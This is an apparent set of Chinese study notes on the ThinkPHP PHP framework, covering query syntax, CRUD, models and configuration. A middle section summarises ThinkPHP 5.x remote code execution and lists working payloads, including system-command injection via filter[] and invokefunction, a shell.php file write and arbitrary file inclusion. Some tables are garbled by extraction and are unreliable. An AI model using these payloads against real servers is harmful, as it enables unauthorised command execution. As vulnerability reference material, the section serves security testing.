ThinkPHP总结
thinkphp3.2框架中where条件查询用法总结

thinkphp3.2框架中where条件查询⽤法总结本⽂实例讲述了thinkphp3.2框架中where条件查询⽤法。
分享给⼤家供⼤家参考,具体如下:thinkphp3.2 where 条件查询在连贯操作中条件where的操作有时候⾃⼰很晕,所以整理下,有助于使⽤查询条件⽀持的表达式查询,tp不区分⼤⼩写含义TP运算符SQL运算符例⼦实际查询条件等于EQ=$where['id'] = array('EQ','1')id = 2不等于NEQ!=$where['id'] = array('NEQ','1')id!=2⼤于GT>$where['id'] = array('GT','1')id >1⼤于等于EGT EGT$where['id'] = array('EGT','1')id>=1⼩于<<$where['id'] = array('lt',1)id < 1⼩于等于<=<=$where['id'] = array('elt',1)id<=1匹配like like where[′id′]=array(′like′,′where[′id′]=array(′like′,′where['id'] =array('like','begin%')$where['id'] =array('like','%begin%')where id like '%begin'where id like 'begin%'where idlike'%begin%在范围内包括俩端值between0<=id<=10$where['id'] =array('between',array('0','10'))where id between 0and 10不在范围内not between0 >id and 1o< id$where['id'] = array('notbetween',array('0','10'))where id not between0 and 10在枚举的值中in in$where['id'] =array('in',array('1','2','5'))where id in ('1','2','3')不在枚举值中not in not in$where['id'] = array('notin',array('1','2',5))where id not in('1','2','5')exp表达式查询,⽀持SQL语法exp 是表达式的意思,如果你觉得对于⼀个值限制条件太多的话就可以⽤这个$where['id'] = array('exp','in ( select id from id from tableb)');复查的查询语句有的时候,我们希望通过⼀次的查询就能解决问题,这个时候查询条件往往⽐较复杂,但是却⽐多次查询库来的⾼效。
tp5(thinkPHP5)框架数据库Db增删改查常见操作总结

tp5(thinkPHP5)框架数据库Db增删改查常见操作总结本⽂实例讲述了tp5(thinkPHP5)框架数据库Db增删改查常见操作。
分享给⼤家供⼤家参考,具体如下:添加数据insert$data = ['name_cn' => '张三','name_en' => 'jack',];$res = Db::name('style')->insert($data);添加数据。
INSERT INTO `tf_style` (`name_cn` , `name_en`) VALUES ('张三' , 'jack')tp5还可以通过insertAll插⼊多条数据。
$data = ['name_cn' => '张三','name_en' => 'jack',];$res = Db::name('style')->insertGetId($data);获取插⼊的id。
修改数据update更新数据,使⽤update⽅法。
$res = Db::name('style')->where('id',4)->update(['name_cn'=>'李四']);UPDATE `tf_style` SET `name_cn` = '李四' WHERE `id` = 4;返回结果为影响的⾏数。
$where = new Where();$where['id'] = ['>',2];$res = Db::name('style')->where($where)->update(['name_cn'=>'李四']);通过$where对象进⾏条件操作。
Thinkphp5RCE总结

Thinkphp5RCE总结5最出名的就是,我先总结rce,rce有两个⼤版本的分别1. ThinkPHP 5.0-5.0.242. ThinkPHP 5.1.0-5.1.30因为漏洞触发点和版本的不同,导致payload分为多种,其中⼀些payload需要取决于debug选项⽐如直接访问路由触发的5.1.x :s=index/thinkRequest/input&filter[]=system&data=pwds=index/thinkviewdriverPhp/display&content=<php phpinfo();>s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<php phpinfo();>s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ids=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id5.0.x :s=index/thinkconfig/get&name=ername # 获取配置信息s=index/thinkLang/load&file=../../test.jpg # 包含任意⽂件s=index/thinkConfig/load&file=../../t.php # 包含任意.php⽂件s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ids=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami还有⼀种http://php.local/thinkphp5.0.5/public/index.php?s=indexpost_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&filter[]=system&method=GET&get[]=whoami# ThinkPHP <= 5.0.13POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debugPOST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captchaPOST /?s=xxx HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls可以看到payload分为两种类型,⼀种是因为Request类的method和__construct⽅法造成的,另⼀种是因为Request类在兼容模式下获取的控制器没有进⾏合法校验,我们下⾯分两种来讲,然后会将thinkphp5的每个⼩版本都测试下找下可⽤的payload。
thinkphp withattr 用法 -回复

thinkphp withattr 用法-回复标题:ThinkPHP中的withAttr方法使用详解一、前言ThinkPHP是一个开源的PHP框架,它基于MVC模式,采用面向对象的开发结构和PHP的语法特性,为Web应用提供了一个快速、灵活且安全的解决方案。
在ThinkPHP中,withAttr是一个非常实用的方法,它可以用来批量设置或者获取模型属性值。
二、withAttr方法简介withAttr是ThinkPHP框架中的一个魔术方法,主要作用是在模型中批量处理数据。
这个方法接受两个参数,第一个参数是要处理的字段名数组,第二个参数是回调函数或者是处理规则。
三、基本用法1. 获取属性值:使用withAttr方法可以方便地获取模型中的多个属性值。
例如,我们有一个User模型,包含name和email两个属性,我们可以这样获取它们的值:phpuser = User::get(1);list(name, email) = user->withAttr(['name', 'email']);这样,name和email就分别被赋值为User模型中name和email 属性的值。
2. 设置属性值:同样,我们也可以使用withAttr方法来批量设置模型中的属性值。
例如:phpuser = new User();data = ['name' => 'John Doe', 'email' => 'john@example'];user->withAttr(data);这样,User模型中的name和email属性就被分别设为了'John Doe'和'john@example'。
四、进阶用法1. 自定义处理规则:withAttr方法的第二个参数可以是一个回调函数,用于自定义处理规则。
thinkphp数据查询方法总结selectfindgetFieldquery

thinkphp数据查询方法总结selectfindgetFieldquery ThinkPHP是一个开源的PHP框架,它提供了丰富的数据库操作方法,用于查询数据库中的数据。
本文将总结ThinkPHP中的常用的数据查询方法:select、find、getField和query。
1. select方法:select方法是查询数据库中的多条数据,返回的是一个数据集(数组)。
```php$data = M('user')->where('status=1')->select(;```以上代码将查询"status=1"的用户数据,并将结果赋值给$data变量。
2. find方法:find方法是查询数据库中的一条数据,返回的是一个数组。
```php$data = M('user')->where('status=1')->find(;```以上代码将查询"status=1"的第一条用户数据,并将结果赋值给$data变量。
3. getField方法:getField方法是查询数据库中一些字段的值,返回的是该字段的值。
```php$name = M('user')->where('status=1')->getField('name');```以上代码将查询"status=1"的第一条用户数据的name字段的值,并将结果赋值给$name变量。
4. query方法:query方法可以直接执行原生的SQL语句,并返回查询结果。
```php$data = M(->query('SELECT * FROM user WHERE status=1');```以上代码将执行指定的SQL语句,并将结果赋值给$data变量。
thinkphp后台管理系统

thinkphp后台管理系统标题:基于ThinkPHP的高效后台管理系统引言:近年来,随着互联网的迅速发展,各行各业都纷纷加入了网络化的大潮中。
作为企业管理的一个重要环节,后台管理系统在管理人员的工作中起着举足轻重的作用。
本文将介绍基于ThinkPHP框架的后台管理系统,探讨它的优势和应用价值。
一、ThinkPHP简介ThinkPHP是一款开源的基于MVC架构的PHP开发框架。
它提供了很多开发中常用的功能和类库,大大简化了开发人员的工作。
其灵活性和高效性使得它成为了众多开发者的首选框架。
二、后台管理系统的重要性后台管理系统是一个企业内部管理的重要工具,用于对各个业务模块进行数据维护、权限管理、数据统计等关键操作。
一个高效的后台管理系统能够提高管理效率,降低人力成本,并能使企业更好地进行数据分析和决策。
三、ThinkPHP后台管理系统的特点1. 轻量级:ThinkPHP框架本身非常轻量级,加载速度快,能够快速响应用户的操作。
2. 高效性:ThinkPHP采用了高性能的类库和数据库操作机制,能够处理大量数据和复杂业务逻辑。
3. 安全可靠:ThinkPHP提供了多种安全防护机制,包括参数过滤、SQL注入防护等,保障数据的安全性。
4. 易用性:ThinkPHP框架提供了丰富的开发文档和教程,使得开发人员可快速上手并进行开发。
5. 扩展性:ThinkPHP拥有丰富的插件和扩展包,可以满足不同业务场景的需求。
四、ThinkPHP后台管理系统的应用场景ThinkPHP的后台管理系统广泛应用于各个领域,例如电商平台、企业内部管理、社交平台等。
下面以电商平台为例,介绍其应用场景:1. 商品管理:管理员可以通过后台管理系统对商品进行上架、下架、库存管理等操作。
2. 订单管理:后台管理系统可以实现订单的查看、处理、发货、退款等功能,提高订单处理的效率。
3. 会员管理:管理员可以管理会员信息、积分等,并对会员进行统计分析,为提供更好的服务决策提供支持。
thinkphp 开发手册
thinkphp 开发手册ThinkPHP 是一款基于PHP的开发框架,是广大 PHP 开发者的首选工具之一。
本文将为您介绍ThinkPHP的基本概念、常用功能模块以及开发技巧,以帮助您快速上手并高效开发。
一、ThinkPHP 简介ThinkPHP 是一套开源的、高效的、面向对象的 PHP 开发框架,基于 MVC 设计模式,提供了诸多的快捷操作和丰富的扩展功能。
它具有简单易学、灵活高效的特点,适用于各种规模的Web应用开发。
ThinkPHP 的特点有:1. MVC 设计模式:将应用程序划分为模型(Model)、视图(View)和控制器(Controller)三个层次,实现了逻辑层和表现层的分离,提高了代码的可维护性和复用性。
2. ORM支持:通过对象关系映射(ORM),简化了对数据库的操作,使用起来更加方便快捷。
3. RESTful支持:支持 RESTful 风格的 URL 设计,方便构建RESTful API 接口。
4. 全面的扩展支持:ThinkPHP 提供了丰富的插件机制,可以很方便地扩展框架的功能。
5. 强大的缓存支持:支持各种缓存方式,如文件、Memcache、Redis等,提高了系统的性能和响应速度。
二、ThinkPHP 开发流程1. 安装配置首先,您需要下载最新的 ThinkPHP 安装包,并解压到服务器目录下。
接下来,配置数据库信息和URL访问规则,确保框架可以正常运行。
2. 路由配置ThinkPHP提供了丰富的路由配置选项,通过设置URL规则,实现URL的重写和分发。
路由配置可以增加应用的安全性,同时对于SEO也非常友好。
3. 创建控制器在ThinkPHP中,控制器负责处理用户的请求,并进行相应的数据处理。
您可以根据业务需求,创建新的控制器,并在其中编写相应的业务逻辑。
4. 定义模型模型是表示数据的关键,ThinkPHP提供了强大的数据操作工具,可以让您更加便捷地操作数据库。
通过定义模型文件,您可以通过简单的代码实现对数据表的增删改查等操作。
thinkphp 事务机制
ThinkPHP 事务机制什么是事务事务是数据库中的一个概念,用来保证一系列数据库操作的一致性和完整性。
当多个数据库操作需要以原子性的方式执行时,可以将这些操作组合成一个事务,以确保它们要么全部执行成功,要么全部不执行。
事务的特性事务有四个主要的特性,通常被称为ACID特性:1.原子性(Atomicity):一个事务被视为一个不可分割的原子工作单位,要么全部执行成功,要么全部不执行。
如果事务中的任何一步操作失败,整个事务都需要回滚到初始状态,保证数据的完整性。
2.一致性(Consistency):事务的执行必须使数据库从一个一致状态转变为另一个一致状态。
在事务开始之前和结束之后,数据库的完整性约束条件必须得到满足。
3.隔离性(Isolation):事务的执行不能相互干扰,即每个事务的操作对其他事务是隔离的。
事务的隔离性可以通过锁机制实现。
4.持久性(Durability):事务一旦提交,其修改的数据将永久保存在数据库中,即使系统出现故障也不会丢失。
ThinkPHP 中的事务机制ThinkPHP是一个流行的PHP开发框架,它提供了用于管理数据库事务的机制。
下面将详细介绍ThinkPHP中事务的使用方法和相关注意事项。
启用事务要在ThinkPHP中启用事务,可以使用startTrans方法。
该方法会开启一个数据库连接,并将其设置为事务模式。
$db = new \think\Db;$db->startTrans();执行事务操作一旦启用了事务,你可以执行一系列的数据库操作。
在ThinkPHP中,你可以使用链式调用的方式来执行多个数据库操作,例如插入、更新和删除等。
$db->table('user')->insert($data1);$db->table('order')->insert($data2);$db->table('log')->insert($data3);提交事务在完成事务操作后,可以使用commit方法将事务提交,这会把所有的操作应用到数据库中。
thinkphp5.x系列RCE总结
thinkphp5.x系列RCE总结Thinkphp MVC开发模式执⾏流程:⾸先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作⽅法调度信息->开始路由调度->解析模块和类名->组建命名空间>查找并加载类->实例化控制器并调⽤操作⽅法->构建响应对象->响应输出->⽇志保存->程序运⾏结束漏洞原因:路由控制不严谨,默认不开启强制路由,从⽽可以任意调⽤Thinkphp的类库主要有俩种⽅法,1.Request中的变量覆盖导致RCE 2.路由控制不严谨导致的RCE1.Request中的变量覆盖导致RCE版本名 是否可被攻击 攻击条件5.0.0 否 ⽆5.0.1 否 ⽆5.0.2 否 ⽆5.0.3 否 ⽆5.0.4 否 ⽆5.0.5 否 ⽆5.0.6 否 ⽆5.0.7 否 ⽆5.0.8 是 ⽆需开启debug5.0.9 是 ⽆需开启debug5.0.10 是 ⽆需开启debug5.0.11 是 ⽆需开启debug5.0.12 是 ⽆需开启debug5.0.13 是 需开启debug5.0.14 是 需开启debug5.0.15 是 需开启debug5.0.16 是 需开启debug5.0.17 是 需开启debug5.0.18 是 需开启debug5.0.19 是 需开启debug5.0.20 否 ⽆5.0.21 是 需开启debug5.0.22 是 需开启debug5.0.23 是 需开启debug5.0.0-5.0.12payload:POST /tp5010/public/index.php?s=index/index/index HTTP/1.1Host: 127.0.0.1:8000Content-Length: 52Content-Type: application/x-www-form-urlencodeds=whoami&_method=__construct&filter[]=system5.1版本,需设置error_reporting(0);POST /tp5132/public/index.php HTTP/1.1Host: 127.0.0.1:8000Content-Type: application/x-www-form-urlencodedCookie: XDEBUG_SESSION=PHPSTORMContent-Length: 28c=system&f=id&_method=filter利⽤⽂件包含_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();利⽤其他变量传参_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------2.路由控制不严谨导致的RCEv5.0.23及v5.1.31以下版本index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1https:///t/3570 thinkphp win 和linux 的区别https:///4e5e5d7364f443e28fbf0d3ae744a59athinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET绕宝塔 -主要还是函数和正则上的绕过/index.php?s=&Fuck=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22) _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod还有⼀种思路 利⽤\think\ 类库的 ⽅法做⽂件包含,把马内容写到log关于第⼀种⽅法,在基于tp5开发的cms 复现mipcms 最新版本。
php学习心得范文总结(五篇)实用
php学习心得范文总结(五篇)【实用】篇一: PHP学习心得学习PHP是我自从大学开始的一个持续的过程,最初是从新手入门,逐渐深入地掌握和理解它。
这段时间里,我发现了许多有用的东西,学习PHP 有助于实现我的目标,使我能够更好地运用编程语言来创建有用的应用程序。
首先,学习PHP帮助我更好地理解其他编程语言,比如C和Java,因为它们都是类似的。
学习PHP让我可以更好地理解其他编程语言,更容易上手。
同时,PHP还提供了一些非常方便的函数,可以用来实现一些常规的功能,这让我可以把注意力集中在具体的问题上,而不必浪费大量的时间在繁琐的编码上。
此外,学习PHP也让我更好地了解web开发。
它可以让我以更简单的方式访问数据库,而不必用复杂的SQL语句去查询。
同时,PHP也可以用来创建动态的网站,这让我可以利用它来创建一些有用的网站,比如电子商务网站、招聘网站等。
总之,学习PHP可以让我逐渐掌握编程语言,并更好地了解web开发,这也让我可以创建有用的应用程序。
篇二: PHP学习心得自从大学开始,我就开始学习PHP,从一开始的新手入门到深入掌握,这个过程中,我发现了很多有用的东西,学习PHP可以帮助我实现自己的目标,使我有能力用编程语言来创建有用的应用程序。
首先,学习PHP有助于更好地理解其他编程语言,比如C和Java,因为它们都是类似的。
学习PHP让我可以更容易上手,更方便地理解其他编程语言。
另外,PHP还提供了一些方便的函数,可以用来实现一些常见的功能,让我不必花费大量的时间在繁琐的编码上,而是可以将注意力集中在具体问题上。
此外,学习PHP也让我更好地了解web开发,因为它可以让我以更简单的方式访问数据库,而不用写复杂的SQL 语句。
同时,PHP也可以用来创建动态的网站,这让我可以利用它来创建一些有用的网站,比如电子商务网站、招聘网站等。
总的来说,学习PHP可以让我逐渐掌握编程语言,并且可以更好地了解web开发,这也让我可以创建有用的应用程序。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
MVC:设计思路框架:半成品开源项目:成品1. 基础目录结构index.php:网站的入口文件(单一入口)Application:应用目录(App)Public:资源目录(存放js,css,图片)ThinkPHP:存放框架核心代码()入口文件index.php:单一入口文件(默认前台)// 开启调试模式建议开发阶段开启部署阶段注释或者设为false define('APP_DEBUG',True);// 定义应用目录define('APP_PATH','./Application/');// 定义框架核心目录define('THINK_PATH',realpath('../Think').'/');// 引入框架文件require THINK_PATH.'ThinkPHP.php';自动生成ApplicationCommoncommon:公共函数目录(function.php)conf:公共配置文件Home:前台模块Conf:模块配置文件Common:模块函数目录Controller:控制器Model:模型View:视图Admin:后台模块Conf:模块配置文件Common:模块函数目录Controller:控制器Model:模型View:视图Runtime:运行时目录Cache:模块缓存目录Data:数据目录Logs:日志目录Temp:缓存目录2.配置配置格式:return array('DEFAULT_MODULE' => 'Index')注意:1. 配置参数不区分大小写,建议都大写2. 支持二维数组C():读取配置3.架构模块化设计:访问规则:http://serverName/index.php/模块名/控制器名/操作名几个概念:应用基于同一个入口文件访问的项目我们称之为一个应用。
模块一个应用下面可以包含多个模块,每个模块在应用目录下面都是一个独立的子目录。
控制器每个模块可以包含多个控制器,一个控制器通常体现为一个控制器类操作每个控制器类可以包含多个操作方法,也可能是绑定的某个操作类,每个操作是URL访问的最小单元绑定Home模块到当前入口文件define('BIND_MODULE','Home');自动加载:import();vendor(); // 第三方类库妨碍vendor目录下,并且以.php为类文件后缀,也没有采用命名空间系统流程用户URL请求入口文件(index.php)框架入口文件(ThinkPHP.php)加载配置文件(加载顺序:应用配置文件-模型配置文件,后者会覆盖前者相同的配置)检测应用目录并自动生成加载函数文件解析URL调用对应控制器和模型调用模板引擎输出模板结束4.控制器:前置和后置操作:调用index方法的时候自动调用的方法_before_index()index()_after_index()伪静态:'URL_HTML_SUFFIX'=>'html'URL大小写:推荐使用首字母大写URL生成:U('地址表达式',['参数'],['伪静态后缀'],['显示域名'])地址表达式:[模块/控制器/操作#锚点@域名]?参数1=值1&参数2=值2...参数:数组|字符串AJAX返回:$this->ajaxReturn(字符串|数组,'xml');跳转和重定向:成功跳转:$this->success('操作成功','User/list',3);失败跳转:$this->error('操作失败','User/list',3);重定向:$this->redirect('User/list','数据数组',秒数,提示信息);输入变量I('get.id'); // $_GET['id']I(''); // $_POST['name']I('get.id', 0) // 如果没有获取到,则设置默认值I('',,'htmlspecialchars') // 将获取到的信息使用函数过滤请求类型IS_GET:判断是否是get方式提交IS_POST:判断是否是post方式提交IS_AJAX:判断是否是ajax方式提交5.模型自定义模型:模型实例化:实例化自定义模型:$user = D('user') // $user = new\Home\Model\UserModel();实例化普通模型类:$user = M('user') // $user = new\Think\Model('User');字段定义关闭字段缓存:'DB_FIELDS_CACHE'=>false(开发阶段关闭,项目上线之后开启)连接数据库(使用PDO连接数据库)//PDO连接方式'DB_TYPE' => 'pdo', // 数据库类型'DB_DSN' => 'mysql:host=localhost;dbname=thinkphp;charset=UTF-8''DB_USER' => 'root', // 用户名'DB_PWD' => '', // 密码'DB_PREFIX' => 'think_', // 数据库表前缀连贯操作where()字符串条件:'username like "%an%" and age > 30'数组条件:$where['username'] = 'zhangsan';$where['status'] = 1$where['字段名'] = array('表达式', '查询条件');表达式:EQ:等于 array('EQ',30)NEQ:不等于GT:大于EGT:大于等于LT:小于ELT:小于等于LIKE:模糊查询 array('LIKE','%an')[NOT] BETWEEN:区间查询array('between','1,8')array('between',array(1,8))[NOT] IN:IN查询array('IN','1,2,3,4,5')array('NOT IN',[1,2,3,4,5])table():多表操作需要用到data():添加数据不用$_POST时,使用data进行添加数据field('id,username,age,sex'):获取指定的字段信息值order():id descid desc,status asclimit()limit(5)limit(0,5)page()page(当前页码,每页数据条数)group():查询班级人数having():join(‘sql语句’,join类型)cache()CURD操作$user = M('user');数据创建:$user->create();作用:1.获取数据源2.验证数据源合法性3.字段映射4.数据自动验证5.表单令牌验证6.数据自动完成7.生成数据对象(保存在内存中)数据写入:$user->add()数据读取:$user->find():查询一条数据$user->select():查询多条数据$user->getField('username',true):获取username列的值数据更新:为了安全,没有条件或者主键,不进行更新操作$user->save()数据删除:为了安全,如果没有条件,不进行删除操作$user->delete(5)$user->where('id=5')->delete()统计查询$user->count():获取数据总条数原生SQL语句$model = new Model();查询:$model->query('select * from user');增删改:$model->execute('update user set username="zhangsan" where id = 3');字段映射:表单的字段信息和数据库的字段信息一致,容易泄露自己数据库的信息,为了安全,使用字段映射就可以避免这个问题// 开启字段映射'READ_DATA_MAP'=>true注意:必须使用D实例化数据库才管用// 字段映射protected $_map = array('name'=>'username', // 将表单中的name映射到数据表中的username'pass'=>'password' // 将表单中的pass映射到数据表中的password);// 自动验证protected $_validate = array(// array('username','require','用户名必须填写'), //默认情况下用正则进行验证// array('username','','用户已经存在',0,'unique'), //默认情况下用正则进行验证// array('email','email','邮箱格式不对'), //默认情况下用正则进行验证array('birth','check','生日输入长度不够',0,'function'));// 自动完成protected $_auto = array (// array('status','1'), // 新增的时候把status字段设置为1array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理array('username','getName',3,'callback'), // 对name字段在新增和编辑的时候回调getName方法// array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳);'TMPL_TEMPLATE_SUFFIX'=>'.tpl' // 模板后缀。